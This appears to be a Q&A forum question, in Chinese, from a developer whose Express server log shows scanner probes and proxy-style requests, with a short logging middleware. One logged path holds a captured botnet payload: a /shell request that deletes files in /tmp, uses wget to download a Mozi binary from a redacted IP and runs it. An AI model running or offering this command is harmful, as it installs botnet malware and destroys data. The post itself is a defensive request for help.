【发布时间】:2021-10-30 05:50:42
【问题描述】:
我最近发现有人向我的 node-express 服务器发出了可疑请求。所以我写了一个中间件来记录请求的 url。确实记录了很多以“/”开头的可疑请求路径,但有些路径实际上是另一个 url。这怎么可能在快速请求中? 我试图对此进行搜索,但没有找到任何东西。这些请求是否会损害节点服务器的安全性。 (例如 req.url 显示为 http://icanhazip.com/ )
我的 log.txt 文件
/wp-content/
/owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
/shell?cd+/tmp;rm+-rf+*;wget+http://AN_IP_WAS_HERE:40222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/.env
/.env
http://example.com/<-- how is this possible in express request ?
/boaform/admin/formLogin
http://icanhazip.com/ <-- how is this possible in express request ?
用于记录请求的代码
app.use((req,res,next) => {
var isvalid = true;
//some validation code here
if(!isvalid){
fs.appendFileSync("./log.txt", "\r\n"+ req.url);
res.send("...");
} else next();
});
【问题讨论】:
标签: javascript node.js express security websecurity